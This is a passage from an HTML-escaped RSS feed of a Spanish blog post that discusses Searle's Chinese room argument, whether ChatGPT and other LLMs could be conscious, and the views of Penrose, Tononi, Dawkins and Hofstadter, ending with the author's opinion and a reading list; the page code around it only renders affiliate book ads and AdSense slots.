&lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Un humano, dentro de una habitación completamente aislada del mundo exterior, con una serie de instrucciones para procesar símbolos en chino y devolver una respuesta. Hay que resaltar que la persona en el interior de la habitación desconoce el idioma chino y se limita a seguir la serie de instrucciones que le fueron otorgadas, es decir, &lt;strong&gt;no comprende el texto que entra, ni el que sale&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;mermaid&#34;&gt;graph TD;&#xA;    沙悟淨--&gt;Habitación;&#xA;    Habitación--&gt;西遊記;&#xA;&lt;/div&gt;&#xA;  &#xA;  &#xA;  &lt;p&gt;¿Puedes notar las similitudes con una computadora? Son bastante obvias; hay un input o entrada, un output o salida y una caja negra o programa informático, cuyos detalles del funcionamiento escaparían para los que se encuentran afuera de este pequeño sistema simplificado.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Mi recomendación es este pequeño libro de cien páginas sobre Machine Learning, trata de las bases del Machine Learning y todas las matemáticas necesarias para entender cómo se entrenan los modelos de IA. No te dejes engañar por su tamaño, es denso y un poco complicado. ¿Y por qué tan corto? El libro es tan corto porque deja de lado todo el relleno y se queda sólo con las partes cruciales del Machine Learning. Una advertencia, contiene muchas ecuaciones y no tiene exactamente cien páginas, sino un poco más.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro de cien páginas sobre Machine Learning\&#34;,\&#34;imageSrc\&#34;:\&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1740103780/hundred-page-machine-learning-book_ueonkh.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3D3oMvN\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de The Hundred-Page Machine Learning y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;En dónde aprender las bases de AI y Machine Learning\&#34;},{\&#34;description\&#34;:\&#34;Olvídate de Clean Code y lee este libro en su lugar. ¿Por qué? escribir buen software es difícil porque la definición de buen software es muy variable, este libro trata esa cuestión en profundidad. A lo largo del libro aprenderás sobre la complejidad y su flujo, abstracciones, paradigmas de ocultamiento información y la meta filosofía de la programación. En mi opinión, A philosophy of Software Design va más allá de lo que Clean Code puede ofrecer, lo siento tío Bob.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro A philosophy of software design\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/a-philosophy-of-software-design.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/4i8kodH\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de A philosophy of software design y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Cómo diseñar software de calidad y mantanible?\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;mermaid&#34;&gt;graph TD;&#xA;    Input--&gt;programa;&#xA;    programa--&gt;output;&#xA;&lt;/div&gt;&#xA;  &#xA;  &#xA;  &lt;p&gt;De acuerdo a Searle, para las personas que están afuera de la habitación, pareciera que lo que sea que está dentro entiende perfectamente el idioma chino.&lt;/p&gt;&#xA;&lt;h3 id=&#34;es-chatgpt-consciente-o-solo-es-una-ilusion&#34;&gt;¿Es ChatGPT consciente o solo es una ilusión?&lt;/h3&gt;&#xA;&lt;p&gt;Sin embargo, nosotros sabemos que la persona en el interior solo está siguiendo un set de instrucciones, tan complejísimo como nosotros querramos, pero que &lt;strong&gt;no implica una comprensión del lenguaje&lt;/strong&gt;, sino un proceso totalmente mecánico. Según Searle, esta situación es análoga al funcionamiento de una computadora.&lt;/p&gt;&#xA;&lt;p&gt;Extrapolando lo anterior a ChatGPT; aunque un modelo de lenguaje puede producir respuestas que parecen coherentes y relevantes, no hay evidencia de que comprenda realmente el lenguaje o tenga consciencia de su significado.&lt;/p&gt;&#xA;&lt;p&gt;De acuerdo con Searle, ChatGPT(o cualquier otro Large Language Model LLM, como Mistral, DeepSeek, etc.) puede estar ejecutando el algoritmo más complejo existente pero, según Searle, no hay más consciencia del proceso ahí que la que encontrariamos en el reloj mecánico más sofisticado.&lt;/p&gt;&#xA;&lt;p&gt;¿Pero entonces que marca la diferencia entre una inteligencia real y un proceso mecánico? ¿existe dicha diferencia?&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;estan-la-consciencia-y-la-inteligencia-artificial-relacionadas&#34;&gt;¿Están la consciencia y la inteligencia artificial relacionadas?&lt;/h2&gt;&#xA;&lt;p&gt;El máximo representante de la inteligencia en la tierra es el ser humano (o al menos nuestro ego inflado nos dice eso), y también sucede que el ser humano es un ente vivo con consciencia.&lt;/p&gt;&#xA;&lt;p&gt;Lo anterior nos lleva a la siguiente interrogante: ¿es necesaria un ser vivo con consciencia para tener inteligencia? ¿o quizás es al revés?&lt;/p&gt;&#xA;&lt;h3 id=&#34;la-postura-de-que-la-inteligencia-requiere-consciencia&#34;&gt;La postura de que la inteligencia requiere consciencia&lt;/h3&gt;&#xA;&lt;p&gt;Algunos especialistas en AI, como Pinella, argumentan que la consciencia y la inteligencia están relacionados y que incluso tendriamos &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;http://writing.rochester.edu/celebrating/2017/NAShonorable.pdf&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;un gradiente de consciencia mientras avanzamos en la complejidad e inteligencia de los organismos.&lt;/a&gt;&#xA; Dotando del calificativo &amp;ldquo;consciente&amp;rdquo; a animales superiores como delfines, orangutanes, cuervos y otros organismos que muestran rasgos de inteligencia.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;Otro punto de vista es el de Penrose, él afirma que no sólo la consciencia y la inteligencia están relacionadas sino que &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.youtube.com/watch?v=e9484gNpFF8&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;la inteligencia es un rasgo exclusivo de los seres conscientes&lt;/a&gt;&#xA;. Por lo que, no importa que tan complejo e inteligente se vuelva un sistema, no será consciente y por ende inteligente tampoco, algo parecido a lo que Searle afirmaba.&lt;/p&gt;&#xA;&lt;p&gt;Otros relacionan inteligencia con consciencia y afirman que un sistema se vuelve más consciente mientras más inteligente se vuelve, quizás como ejemplo podriamos nombrar a &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.bbc.com/mundo/noticias-61787944&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Blake Lemoine, quien aseguraba que el modelo de inteligencia artificial de Google había cobrado consciencia&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;p&gt;Richard Dawkins, el escritor del gen egoista, y uno de los máximos representantes del ateismo también considera que &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://archive.is/6RdK9&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;LLMs como Claude pueden ser conscientes&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;p&gt;Otro ejemplo es la teoría de la información integrada, de Giulio Tononi, que propone que la consciencia se genera cuando un sistema es capaz de incorporar información e unificarla, y que este nivel de consciencia (llamado Φ) puede calcularse para cualquier sistema, teniendo un gradiente de consciencia que va desde los seres más simples hasta los más complejos.&lt;/p&gt;&#xA;&lt;h4 id=&#34;el-problema-de-determinar-si-algo-es-consciente-o-no&#34;&gt;El problema de determinar si algo es consciente o no&lt;/h4&gt;&#xA;&lt;p&gt;Para empeorar la situación, tenemos el problema de que la consciencia solo puede ser experimentada por el ente consciente, no existe un experimento que nos permita decir a ciencia cierta si una entidad es consciente o no. Sin caer en un solipsismo absolutista, &lt;strong&gt;nosotros consideramos que el resto de seres humanos son conscientes solo porque nosotros sabemos que lo somos&lt;/strong&gt;, no porque tengamos pruebas irrefutables de ello.&lt;/p&gt;&#xA;&lt;p&gt;Repito, no estoy hablando de solipsismo, me refiero a que, aunque creas que hay más consciencias a parte de la tuya, solo puedes estar seguro de la existencia de la tuya. No existe ninguna manera, al menos hasta hoy, de que puedas probar la consciencia de otro ente que no seas tú mismo. &lt;em&gt;Cogito, ergo sum&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;O puesto en palabras por Ludwig Wittgenstein en su libro, Investigaciones Filosóficas:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Imagina que al nacer te dan una caja con un escarabajo dentro. Se trata de un objeto muy valioso y extremadamente personal, tanto, que nadie puede ver el interior de la caja salvo uno mismo. De este modo, no existe una forma objetiva de confirmar que todas las cajas contengan lo mismo. En el mejor de los casos podrían contener un escarabajo de verdad, pero nada garantiza al cien por cien que en lugar del escarabajo no haya otros insectos, como una hormiga o una araña, o que incluso no haya nada, eso sí, sea lo que sea, siempre se considerará bajo el término de «escarabajo».&lt;/p&gt;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Mientras no entendamos que es la consciencia exactamente, no podremos saber que tenemos que &amp;ldquo;medir&amp;rdquo; para saber si otro ente es consciente, o si acaso tiene sentido el término &amp;ldquo;medir&amp;rdquo; cuando hablamos de consciencia.&lt;/p&gt;&#xA;&lt;h3 id=&#34;la-postura-que-afirma-que-existe-inteligencia-sin-consciencia&#34;&gt;La postura que afirma que existe inteligencia sin consciencia&lt;/h3&gt;&#xA;&lt;p&gt;Por el contrario, existen posiciones que defienden que la inteligencia no depende necesariamente de la consciencia, sino que puede existir en sistemas que no tienen experiencia subjetiva. Para ejemplo basta citar a Alpha Go y otros programas informáticos que son capaces de &amp;ldquo;analizar&amp;rdquo; y  &amp;ldquo;responder&amp;rdquo; a situaciones muy complejas y con muchos matices, sin existir más allá del juego para el que fueron programados, o a los &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://publications.aap.org/pediatrics/article-abstract/111/1/e17/28494/Sleepwalking-and-Sleep-Terrors-in-Prepubertal?redirectedFrom=fulltext&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;sonámbulos, que pueden mostrar signos de inteligencia aún no estando conscientes&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;p&gt;Sir Roger Penrose refuerza el punto anterior en su libro &amp;ldquo;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://amzn.to/3XmesG6&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Emperor&amp;rsquo;s new mind&lt;/a&gt;&#xA;&amp;rdquo;, en el que afirma que la consciencia no es computable, por lo que nunca llegaremos a crear una Consciencia Artificial mediante algoritmos ni ésta surgirá de forma natural de la complejidad computacional, por más &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;%28https://coffeebytes.dev/es/artificial-intelligence/fine-tuning-de-un-llm-guia-practica-con-recursos/%29&#34;&gt;fine-tuning de un LLM (Large Language Model)&lt;/a&gt;&#xA; u otro paradigma de modelo que entrenemos.&lt;/p&gt;&#xA;&lt;p&gt;Pero aunque los seres humanos tengan procesos inconscientes capaces de existir sin la manifestación de la consciencia&amp;hellip; debe de existir algo más que una simple acción mecánica, después de todo los animales son mucho más complejos que las máquinas ¿no?&lt;/p&gt;&#xA;&lt;h2 id=&#34;automatas-biologicos-inteligencia-y-consciencia&#34;&gt;Autómatas biológicos, inteligencia y consciencia&lt;/h2&gt;&#xA;&lt;p&gt;A veces creemos que solo las máquinas tienen un comportamiento mecánico y que cualquier ser vivo sería capaz de responder de manera muy diferente a la que haría una máquina, con más versatilidad y adaptándose a los cambios, pero, ¿es siempre así?&lt;/p&gt;&#xA;&lt;p&gt;En el libro &amp;ldquo;Un eterno y grácil bucle&amp;rdquo; de Douglas R. Hofstader. El autor cita un &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://jhjeong.mindconnect.cc/Texts/sphex.html&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;experimento en el que una avispa sphex es engañada para acercar un grillo a los límites de una madriguera hasta 40 veces&lt;/a&gt;&#xA;. Tal cual como si fuera un programa de computadora, esta avispa queda atorada en un bucle infinito del que no puede escapar, ¿qué tan diferente es esto de un programa informático que, tras el mismo input, genera el mismo output?&lt;/p&gt;&#xA;&lt;p&gt;Como bien especula Hofstader, un humano se hubiera &amp;ldquo;salido&amp;rdquo; del bucle para detenerse por unos momentos e investigar lo que estaba ocurriendo.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/chat-gpt-searles-chinese-room-and-consciousness/images/avisa-sphex.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/artificial-intelligence/chat-gpt-searles-chinese-room-and-consciousness/images/avisa-sphex.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Avispa Sphex del experimento mencionado en el libro Un eterno y grácil bucle&#34; width=&#34;640&#34; height=&#34;480&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Avispa Sphex del experimento mencionado en el libro Un eterno y grácil bucle&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Este experimento me hizo cuestionarme sobre si algunos seres vivos no son otra cosa que autómatas biológicos y también sobre donde está el punto de inflexión en el que un ser vivo deja de ser un autómata y se vuelve consciente, ¿existen gradientes de consciencia? Y, si es así, ¿como se ve siente consciencia más allá de la que experimentamos los humanos? Si la consciencia existe como una manifestación macroscópica, ¿es determinista? ¿o pertenece al mundo cuántico de la indeterminación? No lo sé y creo que la verdad aún no elige un ganador.&lt;/p&gt;&#xA;&lt;h2 id=&#34;mi-opinion-al-respecto-de-la-si-los-llms-se-volveran-conscientes&#34;&gt;Mi opinión al respecto de la si los LLMs se volverán conscientes&lt;/h2&gt;&#xA;&lt;p&gt;Tras tiempo leyendo sobre el tema e investigando lo que diferentes autores tienen que decir: Dawkins, Penrose, Planck, entre otros. Me he decantado por la idea de que la consciencia no puede ser emulada por métodos matemáticos sin un entendimiento profundo y meticuloso de su naturaleza, lo cual, por el momento, está fuera de nuestro alcance.&lt;/p&gt;&#xA;&lt;p&gt;Sí, esto incluye a OpenAI, Anthropic o cualquier otra compañia. No importa El problema duro sigue igual de vigente, pero más relevante que nunca.&lt;/p&gt;&#xA;&lt;p&gt;Mi segunda razón es más especulativa. Ahora mismo barajo la idea de que la consciencia pueda ser un ente fundamental de la existencia, al mismo nivel o quizás más alto que las leyes físicas. En cuyo caso no importa que tan sofisticado sea el algoritmo y con cuantos datos de entrenamiento dispongamos, jamás podremos crear una AGI consciente, tendremos que contentarnos con un modelo increíblemente bueno en todo, pero mecánico. Pero repito, esto es más especulativo y una convicción mucho más débil.&lt;/p&gt;&#xA;&lt;h2 id=&#34;mi-opinion-sobre-si-tendremos-una-agi-proximamente&#34;&gt;Mi opinión sobre si tendremos una AGI próximamente&lt;/h2&gt;&#xA;&lt;p&gt;También creo que la posibilidad de una AGI es remota. Creo que soy partidario de que una AGI requiere algún nivel de consciencia, y por esa razón, hasta que no entendamos lo que implica una consciencia no podremos &amp;ldquo;programarla&amp;rdquo; si es que algo así tiene sentido.&lt;/p&gt;&#xA;&lt;p&gt;Obviamente habrá intentos, pero serán más parecidos a tratar de integrar una una serie de AIs especializadas en un mismo robot. Algo parecido a tener un montón de servidores con múltiples servidores del &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/artificial-intelligence/te-explico-el-model-context-protocol-mcp-y-para-que-sirve/&#34;&gt;Model Context Protocol&lt;/a&gt;&#xA;, lo cual no es otra cosa sino un ejemplo más sofisticado de la habitación china de Searle.&lt;/p&gt;&#xA;&lt;h2 id=&#34;que-leer-o-ver-para-saber-mas-de-inteligencia-artificial-y-consciencia&#34;&gt;¿Qué leer o ver para saber más de inteligencia artificial y consciencia?&lt;/h2&gt;&#xA;&lt;p&gt;La consciencia es un tema bastante complejo que no puede abordarse en unas cuentas lineas, no por nada se le conoce como el &amp;ldquo;problema duro&amp;rdquo;, pero si estas pinceladas te dejaron con ganas de más, te dejo mi lista de recursos favoritos para ahondar este tema tan complejo.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://amzn.to/4boOnfd&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Un eterno y grácil bucle de Douglas R. Hofstader&lt;/a&gt;&#xA;: el autor profundiza en el tema de la autoreferencia y desarrolla la pregunta: ¿puede un sistema comprenderse así mismo?&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://amzn.to/3XmesG6&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;La nueva mente del emperador de Sir Roger Penrose&lt;/a&gt;&#xA;: el autor establece el contexto de las leyes del universo y analiza si la consciencia y la inteligencia están relacionadas y si estas tienen un carácter determinista o no determinista.&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://infinite.mit.edu/video/brains-minds-and-machines-consciousness-and-intelligence&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Brains, Minds, and Machines: Consciousness and Intelligence&lt;/a&gt;&#xA;: plática del MIT, donde se desarrollan los temas de cerebros, consciencia, inteligencia y máquinas. Radicalmente infravalorada; ¿7000 vistas en youtube nada más? ¿de verdad?&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.youtube.com/watch?v=mC_KQC1gtWQ&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;¿Puede un programa estar vivo?&lt;/a&gt;&#xA; pequeño videoensayo donde uno de mis youtubers favoritos desarrolla el tema de si un programa informático puede estar vivo.&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;http://writing.rochester.edu/celebrating/2017/NAShonorable.pdf&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;The connection between intelligence and conciousness&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Chat GPT y la inteligencia artificial están en boca de todos, algunos le tienen miedo, por su &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/artificial-intelligence/pongo-a-prueba-a-chatgpt-con-desafios-de-codigo-de-codewars/&#34;&gt;capacidad para resolver problemas de código&lt;/a&gt;&#xA; a otros les entusiasma el potencial que tiene para cambiar el mundo laboral y sus numerosas aplicaciones; tales como el &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/artificial-intelligence/inteligencia-artificial-y-diseno-de-farmacos-y-medicamentos-para-desarrolladores/&#34;&gt;desarrollo de nuevos fármacos&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;blockquote&#xA;    class=&#34;instagram-media&#34;&#xA;    data-instgrm-captioned&#xA;    data-instgrm-permalink=&#34;https://www.instagram.com/p/Cq3EOQog9aw&#34;&#xA;    data-instgrm-version=&#34;14&#34;&#xA;    style=&#34;&#xA;      background: #fff;&#xA;      border: 0;&#xA;      border-radius: 3px;&#xA;      box-shadow: 0 0 1px 0 rgba(0, 0, 0, 0.5), 0 1px 10px 0 rgba(0, 0, 0, 0.15);&#xA;      margin: 1px;&#xA;      max-width: 540px;&#xA;      min-width: 326px;&#xA;      padding: 0;&#xA;      width: 99.375%;&#xA;      width: -webkit-calc(100% - 